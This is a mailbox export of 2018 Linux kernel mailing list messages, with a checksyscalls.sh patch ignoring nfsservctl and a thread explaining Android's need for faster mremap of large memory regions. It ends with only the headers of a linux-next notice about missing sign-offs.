	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gCJN4-0005xK-7K
	for glk-linux-kernel-4@m.gmane.org; Tue, 16 Oct 2018 09:02:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727996AbeJPOxf (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 16 Oct 2018 10:53:35 -0400
Original-Received: from mail-pl1-f196.google.com ([209.85.214.196]:42468 "EHLO
        mail-pl1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727640AbeJPOxe (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 16 Oct 2018 10:53:34 -0400
Original-Received: by mail-pl1-f196.google.com with SMTP id c8-v6so10519302plo.9
        for <linux-kernel@vger.kernel.org>; Tue, 16 Oct 2018 00:04:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=0PBH0SiDBTS5A/xCIVzOHbzcxzD+kYNUD3TokR7YxPA=;
        b=UxAfAsfi9OW33xPWIKH8W6SO5E0lr4Jnir5detcjPRXnGlVfot+h5RZPOBX4pHw+lP
         usF+WeYQMmGnEApGO+Ms4A+oXJWEOM6MSXnpY+qfi79QXFQAlOD+qen7DjgvKnYn/02t
         IOarYai+UPBJhSNHGJWk+z4VkeV+HDAVqLL3o=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=0PBH0SiDBTS5A/xCIVzOHbzcxzD+kYNUD3TokR7YxPA=;
        b=OTonqDu6Pw1lsY9BOGrfPIcgjp0fdJTG36+cfU70AchFeAwknw9Y+Ic+clS3wv2MGe
         lsr1+E+pEjkZMc699Sv21FQU2QCqksShAZkuRyikwQ8LNCy+pVs0queeKdljnJzOVlxh
         jNSQT1o7a0R0UsO05MmOaaBEyArcGlv0CdO0l8dIfu6BRdS4+8KhbyboZnVFwYEZM1OR
         +aylQKH9s76kDQkhelfB2zUuzwn4Qlxa4XvRGR4AbJhH4Hr4mnsg8ox60UWznYJb+NOW
         zzjBGeso/fEZaMs0GgmLApTkW741isPRfDUlkeaWSApvLqMlmsMUxdJIZaNK6rLGFPu9
         qMrQ==
X-Gm-Message-State: ABuFfoijKAgE0k0qXNzIflu2ojrDHVt5/IigCfDTYU0sBiyGpxFCH8cB
        7p5bJOWtI+aa5oyk4WB9w+RMXZ55tbA=
X-Google-Smtp-Source: ACcGV63QvT8vEmiyCWkXKEHdUgANI0yQz0Pz7bD4n3D1SsXe14j0o2xsD2VfzFhsSNW3mtx/YKwECg==
X-Received: by 2002:a17:902:6b46:: with SMTP id g6-v6mr19704687plt.19.1539673474071;
        Tue, 16 Oct 2018 00:04:34 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.qualcomm.com (blr-bdr-fw-01_globalnat_allzones-outside.qualcomm.com. [103.229.18.19])
        by smtp.gmail.com with ESMTPSA id u21-v6sm21775107pfa.176.2018.10.16.00.04.28
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 16 Oct 2018 00:04:33 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1539673418-7279-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2900273 gmane.linux.ports.parisc:29200 gmane.linux.kernel.year-2038:3535 gmane.linux.kernel.cross-arch:47867
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2900273>

This adds an exception to the syscall table checking script.

nfsservctl entry is only provided on x86, and there is no
reason to add it elsewhere. However, including it on the
syscall table caused a warning for most configurations on
non-x86.

<stdin>:696:2: warning: #warning syscall nfsservctl not implemented [-Wcpp]

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 scripts/checksyscalls.sh | 1 +
 1 file changed, 1 insertion(+)

diff --git a/scripts/checksyscalls.sh b/scripts/checksyscalls.sh
index ee3dfb5..cf93100 100755
--- a/scripts/checksyscalls.sh
+++ b/scripts/checksyscalls.sh
@@ -150,6 +150,7 @@ cat << EOF
 #define __IGNORE_uselib
 #define __IGNORE__sysctl
 #define __IGNORE_arch_prctl
+#define __IGNORE_nfsservctl
 
 /* ... including the "new" 32-bit uid syscalls */
 #define __IGNORE_lchown32
-- 
1.9.1



From - Thu Nov 08 21:42:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Tue, 16 Oct 2018 13:29:52 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <35b9c85a-b366-9ca3-5647-c2568c811961@suse.cz>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
 <20181015094209.GA31999@infradead.org>
 <20181015223303.GA164293@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539689920 12147 195.159.176.226 (16 Oct 2018 11:38:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2018 11:38:40 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.0
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 kvmarm@lists.cs.columbia.edu, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, elfring@users.sourceforge.net,
 Ingo Molnar <mingo@redhat.com>, Geert Uytter
To: Joel Fernandes <joel@joelfernandes.org>,
 Christoph Hellwig <hch@infradead.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Tue Oct 16 13:38:31 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gCNgB-0002wg-Dx
	for gla-linux-snps-arc@m.gmane.org; Tue, 16 Oct 2018 13:38:27 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=lYeS5DHnacjV3YyaYmeeaLk4brdds+m68Lx1tgXFs8w=; b=Gk6JGEPLpSQO+b
	t6oy911Ny8RaMZ/j9ZTN9yZwQRxgPaNeHnRLkAPR9QCidp1lonWKD6yfS8mWeGo5olxaWFAilzvjg
	Bofr3TG9/04vaZCMk3gvuGAId4S3MzYqbRLc4W/d417r0BzjvhtMZ9oV3P/BZbnQIBV0uoFtvPmb8
	OnX/714kwBcivGwEftdTX3O42MIDF8dySup/BGD9FWK5wTT3ILmLOJl2WIAJfPVJnduYK4eadSlWV
	crIkxAwCCHaSOjvQz63FRCeuCzFlIi1dox0HxGOJIeThvfFIsnmC8qoTa6B9N2rFfEZly52/JVOiP
	7nYY4rDSoEo17x2MZ0+g==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gCNiH-0006wG-Eg; Tue, 16 Oct 2018 11:40:37 +0000
Original-Received: from mx2.suse.de ([195.135.220.15] helo=mx1.suse.de)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gCNYE-00017b-9S; Tue, 16 Oct 2018 11:30:23 +0000
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (unknown [195.135.220.254])
 by mx1.suse.de (Postfix) with ESMTP id 05DCEAF00;
 Tue, 16 Oct 2018 11:29:58 +0000 (UTC)
Openpgp: preference=signencrypt
Autocrypt: addr=vbabka@suse.cz; prefer-encrypt=mutual; keydata=
 xsFNBFZdmxYBEADsw/SiUSjB0dM+vSh95UkgcHjzEVBlby/Fg+g42O7LAEkCYXi/vvq31JTB
 KxRWDHX0R2tgpFDXHnzZcQywawu8eSq0LxzxFNYMvtB7sV1pxYwej2qx9B75qW2plBs+7+YB
 87tMFA+u+L4Z5xAzIimfLD5EKC56kJ1CsXlM8S/LHcmdD9Ctkn3trYDNnat0eoAcfPIP2OZ+
 9oe9IF/R28zmh0ifLXyJQQz5ofdj4bPf8ecEW0rhcqHfTD8k4yK0xxt3xW+6Exqp9n9bydiy
 tcSAw/TahjW6yrA+6JhSBv1v2tIm+itQc073zjSX8OFL51qQVzRFr7H2UQG33lw2QrvHRXqD
 Ot7ViKam7v0Ho9wEWiQOOZlHItOOXFphWb2yq3nzrKe45oWoSgkxKb97MVsQ+q2SYjJRBBH4
 8qKhphADYxkIP6yut/eaj9ImvRUZZRi0DTc8xfnvHGTjKbJzC2xpFcY0DQbZzuwsIZ8OPJCc
 LM4S7mT25NE5kUTG/TKQCk922vRdGVMoLA7dIQrgXnRXtyT61sg8PG4wcfOnuWf8577aXP1x
 6mzw3/jh3F+oSBHb/GcLC7mvWreJifUL2gEdssGfXhGWBo6zLS3qhgtwjay0Jl+kza1lo+Cv
 BB2T79D4WGdDuVa4eOrQ02TxqGN7G0Biz5ZLRSFzQSQwLn8fbwARAQABzSFWbGFzdGltaWwg
 QmFia2EgPHZiYWJrYUBzdXNlLmNvbT7CwZcEEwEKAEECGwMFCwkIBwMFFQoJCAsFFgIDAQAC
 HgECF4ACGQEWIQSpQNQ0m 
In-Reply-To: <20181015223303.GA164293@joelaf.mtv.corp.google.com>
Content-Language: en-US
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181016_043014_747780_22AB49ED 
X-CRM114-Status: GOOD (  15.90  )
X-Spam-Score: -2.3 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.3 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [195.135.220.15 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4564 gmane.linux.ports.mips.general:67118 gmane.linux.ports.ia64:29414 gmane.linux.ports.sh.devel:57668 gmane.linux.kernel.mm:205423 gmane.linux.ports.sparc:28591 gmane.linux.ports.riscv:1115 gmane.comp.emulators.kvm.arm.devel:19498 gmane.linux.ports.hexagon:1934 gmane.linux.ports.alpha:5340 gmane.linux.ports.parisc:29201 gmane.linux.kernel:2900527 gmane.linux.ports.ppc64.devel:164497
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4564>

On 10/16/18 12:33 AM, Joel Fernandes wrote:
> On Mon, Oct 15, 2018 at 02:42:09AM -0700, Christoph Hellwig wrote:
>> On Fri, Oct 12, 2018 at 06:31:58PM -0700, Joel Fernandes (Google) wrote:
>>> Android needs to mremap large regions of memory during memory management
>>> related operations.
>>
>> Just curious: why?
> 
> In Android we have a requirement of moving a large (up to a GB now, but may
> grow bigger in future) memory range from one location to another.

I think Christoph's "why?" was about the requirement, not why it hurts
applications. I admit I'm now also curious :)

> This move
> operation has to happen when the application threads are paused for this
> operation. Therefore, an inefficient move like it is now (for example 250ms
> on arm64) will cause response time issues for applications, which is not
> acceptable. Huge pages cannot be used in such memory ranges to avoid this
> inefficiency as (when the application threads are running) our fault handlers
> are designed to process 4KB pages at a time, to keep response times low. So
> using huge pages in this context can, again, cause response time issues.
> 
> Also, the mremap syscall waiting for quarter of a second for a large mremap
> is quite weird and we ought to improve it where possible.

From - Thu Nov 08 21:42:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Tue, 16 Oct 2018 12:43:13 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20181016194313.GA247930@joelaf.mtv.corp.google.com>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
 <20181015094209.GA31999@infradead.org>
 <20181015223303.GA164293@joelaf.mtv.corp.google.com>
 <35b9c85a-b366-9ca3-5647-c2568c811961@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539718896 4196 195.159.176.226 (16 Oct 2018 19:41:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2018 19:41:36 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 kvmarm@lists.cs.columbia.edu, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, elfring@users.sourceforge.net,
 Christoph Hellwig <hch@infradead.org>, Ingo
To: Vlastimil Babka <vbabka@suse.cz>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Tue Oct 16 21:41:27 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gCVDa-0000vZ-Nh
	for glpr-linux-riscv@m.gmane.org; Tue, 16 Oct 2018 21:41:26 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=txee99mZWsxHNjmpsMWzyUJMkT98Uj2+WPtsJjFmS2c=; b=YMY3HKiJ0T7UUy
	uvweesoar9dZJ/d5ysx1vtBDkMG1Ph2p3e5X7QTkR5D3y0JckDf3DqzjKuxD75pJ2MH0FAGSha5Z8
	JqOMRTLcETjjDDu3eP8kCwZsnRHwCWWuOCTFJ37wSnvf3VaMoXFPoYh7Zbb4KYIFHbVYHhxmQi6no
	CHc9FtNrL6upLUIm1M2KnFViOAHJEpm6/L5HOfp6cxdi52Hd+j7R9BrjF/pdysDBmLVP8xWMfq1GN
	uhWEI9l3ZVX/HCKXnSFpdSA48tc7JL837wSo6hkyF1ou/XZymJYwCJRcuDLbn2RPzYw3L/Aofkq+S
	4w+hrXh6+zV0bhNPSQpw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gCVFd-0007hP-R9; Tue, 16 Oct 2018 19:43:33 +0000
Original-Received: from mail-pl1-x642.google.com ([2607:f8b0:4864:20::642])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gCVFY-0007ad-LD
 for linux-riscv@lists.infradead.org; Tue, 16 Oct 2018 19:43:30 +0000
Original-Received: by mail-pl1-x642.google.com with SMTP id 30-v6so11482586plb.10
 for <linux-riscv@lists.infradead.org>; Tue, 16 Oct 2018 12:43:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=4E6/TYIJnb1hpwFXfznXrU9WRJfBcYMDYHXRqDEZgOg=;
 b=V9PgMDNF7CBl5+Nzjvr0iSOtDiDCQgsN/s5ihAy9noZqWII6hYc6Ts6C5GhDKx8GXO
 m7lTUaprGsEeUyTBUKqmHo3irjZ1l34Zh9xqtEP2vVvNhHYNULvRTyjfiwn/iz3OaXl0
 6o0VR9etFqC0VPLMHRowVmTVSwuMOe0dtplzs=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=4E6/TYIJnb1hpwFXfznXrU9WRJfBcYMDYHXRqDEZgOg=;
 b=enaKBwDST01cG8b2NplYf6+O8UTaICBNZ302XZ0pK1lwRowFa8h3L70W+2kNV/XYk/
 ITk2gyoP/g1eOMe27KlO8WCED8h1cW6SkhbUhSr+AISxHs299fOtjuww/PCjFuMFd0bd
 Akv8Oyskl5YbfpJtY1N01QHmoRGkbBOjXpqE7O0+9MCCLMxDaxt7RkOyi7TW7I05XuVF
 UnRLRxcqdc4+uqSv0KNVuFioCLRzo0WgsC/6Whok1zNeLiE2P4WpN8/ZM4UELbzDv3vE
 m6xDbwl3KuSfW/Vd7mW6qWA98zAvMYwClzTpEcysv9eMceA7bngDTkmaEjo/DL5K82jc
 aQFg==
X-Gm-Message-State: ABuFfohsNV7cu3u7sCpEmbclU1R/lDR2vvJRKHCumJbwOtxq6+HwalpE
 96im4bUuo4VeCCwQEBKmqTmy4Q==
X-Google-Smtp-Source: ACcGV62AdBcFxDIb9TDt/mmUnedT1xOttrv1cSqMsBN5bCJGRH95gVqQWD3vO6sNA2FVCR0J+aMC2w==
X-Received: by 2002:a17:902:15a8:: with SMTP id
 m37-v6mr22725955pla.132.1539718996443; 
 Tue, 16 Oct 2018 12:43:16 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id s2-v6sm15420002pgo.90.2018.10.16.12.43.14
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Tue, 16 Oct 2018 12:43:14 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <35b9c85a-b366-9ca3-5647-c2568c811961@suse.cz>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181016_124328_738497_45AB7171 
X-CRM114-Status: GOOD (  16.08  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:642 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1121 gmane.linux.ports.mips.general:67123 gmane.linux.ports.ia64:29415 gmane.linux.ports.sh.devel:57669 gmane.linux.kernel.mm:205448 gmane.linux.ports.sparc:28594 gmane.comp.emulators.kvm.arm.devel:19501 gmane.linux.ports.hexagon:1935 gmane.linux.kernel.arc:4568 gmane.linux.ports.alpha:5341 gmane.linux.ports.parisc:29202 gmane.linux.kernel:2901314 gmane.linux.ports.ppc64.devel:164516
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1121>

On Tue, Oct 16, 2018 at 01:29:52PM +0200, Vlastimil Babka wrote:
> On 10/16/18 12:33 AM, Joel Fernandes wrote:
> > On Mon, Oct 15, 2018 at 02:42:09AM -0700, Christoph Hellwig wrote:
> >> On Fri, Oct 12, 2018 at 06:31:58PM -0700, Joel Fernandes (Google) wrote:
> >>> Android needs to mremap large regions of memory during memory management
> >>> related operations.
> >>
> >> Just curious: why?
> > 
> > In Android we have a requirement of moving a large (up to a GB now, but may
> > grow bigger in future) memory range from one location to another.
> 
> I think Christoph's "why?" was about the requirement, not why it hurts
> applications. I admit I'm now also curious :)

This issue was discovered when we wanted to be able to move the physical
pages of a memory range to another location quickly so that, after the
application threads are resumed, UFFDIO_REGISTER_MODE_MISSING userfaultfd
faults can be received on the original memory range. The actual operations
performed on the memory range are beyond the scope of this discussion. The
user threads continue to refer to the old address which will now fault. The
reason we want retain the old memory range and receives faults there is to
avoid the need to fix the addresses all over the address space of the threads
after we finish with performing operations on them in the fault handlers, so
we mremap it and receive faults at the old addresses.

Does that answer your question?

thanks,

- Joel

From - Thu Nov 08 21:42:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: linux-next: Signed-off-by missing for commits in the parisc-hd tree
Date: Wed, 17 Oct 2018 17:15:07 +1100
Lines: 35
Approved: news@gmane.org
Message-ID: <20181017171507.6cfe08d2@canb.auug.org.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
 boundary="Sig_/gZsn.ra0WuoNa=dnqw6kzvd"; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1539756787 21332 195.159.176.226 (17 Oct 2018 06:13:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 17 Oct 2018 06:13:07 +0000 (UTC)
Cc: Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 17 08:13:02 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gCf4n-0005Oo-AW
	for glk-linux-kernel-4@m.gmane.org; Wed, 17 Oct 2018 08:13:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727119AbeJQOJN (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 17 Oct 2018 10:09:13 -0400
Original-Received: from ozlabs.org ([203.11.71.1]:52043 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726663AbeJQOJM (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 17 Oct 2018 10:09:12 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 42Zhjl3ZSqz9s9J;
        Wed, 17 Oct 2018 17:15:07 +1100 (AEDT)
Authentication-Results: ozlabs.org; dmarc=none (p=none dis=none) header.from=canb.auug.org.au
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=canb.auug.org.au;
        s=201702; t=1539756907;
        bh=WvU678jVDHPFc8jAWy60P/0UvLmITfWtECeMLoIk6cw=;
        h=Date:From:To:Cc:Subject:From;
        b=l/MzbjQzGQ6m5Fr3s6fPdNIWyQBJsivYjk7frhjPb9pkHlPip7s6Tf9E0C2SRuTPE
         ZVVaPwTWwwRhoZ7couyfZnZcaN4vcnulEB6wVRzj/Ug24UoADfG6JsiXm4rhmg+/4e
         O/OTCgnG5IsGtBEsLOQNoHtIu/IygKwrjErOUkf1tIN6fmRxYYhzx7dHdReHH+htUf
         gy1ZqOf0rydJjfE5KArxgzX0bouxZL4NrgyRc6J2fAw1qxKBkvq6e+bXL0BaU2KKkQ
         pWTyoMntcB1WFP3hk71pyYTRE67anxAyE2YQ4CeIHKm/ju3isB3ct1jDBsDe98kE+q
         fBvMSBv4ltW4A==
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2901652 gmane.linux.ports.parisc:29203 gmane.linux.kernel.next:47414
